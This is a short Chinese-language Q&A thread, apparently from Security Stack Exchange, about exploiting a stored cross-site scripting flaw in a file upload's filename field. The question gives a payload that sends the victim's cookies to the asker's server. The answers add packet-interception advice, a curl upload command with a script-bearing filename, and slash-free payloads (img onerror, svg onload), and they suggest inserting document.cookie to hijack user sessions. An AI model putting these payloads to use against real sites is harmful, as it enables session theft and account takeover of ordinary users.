我试图利用文件上传的文件名字段中的漏洞进行攻击。web应用程序无法正确验证上传文件的文件名,因此存在存储的跨站点脚本漏洞。
我的问题是,每当我试图重命名文件以包含类似于下面的有效负载时,我就不能在文件名中包括/。
document.location='http://my_test_server.com/bla.php?cookie='+document.cookie;有什么想法吗?甚至有可能利用这个漏洞吗?
发布于 2018-04-19 18:46:01
您应该使用数据包拦截应用程序并编辑发送的数据包。因此,将/替换为文件名中的an _,然后拦截数据包并将其更改回标头。
发布于 2018-04-19 20:03:17
使用curl上载时,可以更改文件名:
curl -X POST http://example.com -F "file_input_name=@testfile;filename=document.location='http://example.com'"然而,当我用PHP测试这一点时,它会自动剥离上一次/之前的所有内容,假设已经发送了完整的路径并将其转换为basename。
发布于 2020-06-19 06:40:08
是的,在制作injection.These有效负载时不需要使用'/‘,这是有有效负载的:
<img src=x onerror=alert(123) ><svg onload=alert(123)>现在,您可以在警报方法中插入document.cookie而不是123来获取用户会话。
https://security.stackexchange.com/questions/184095
复制相似问题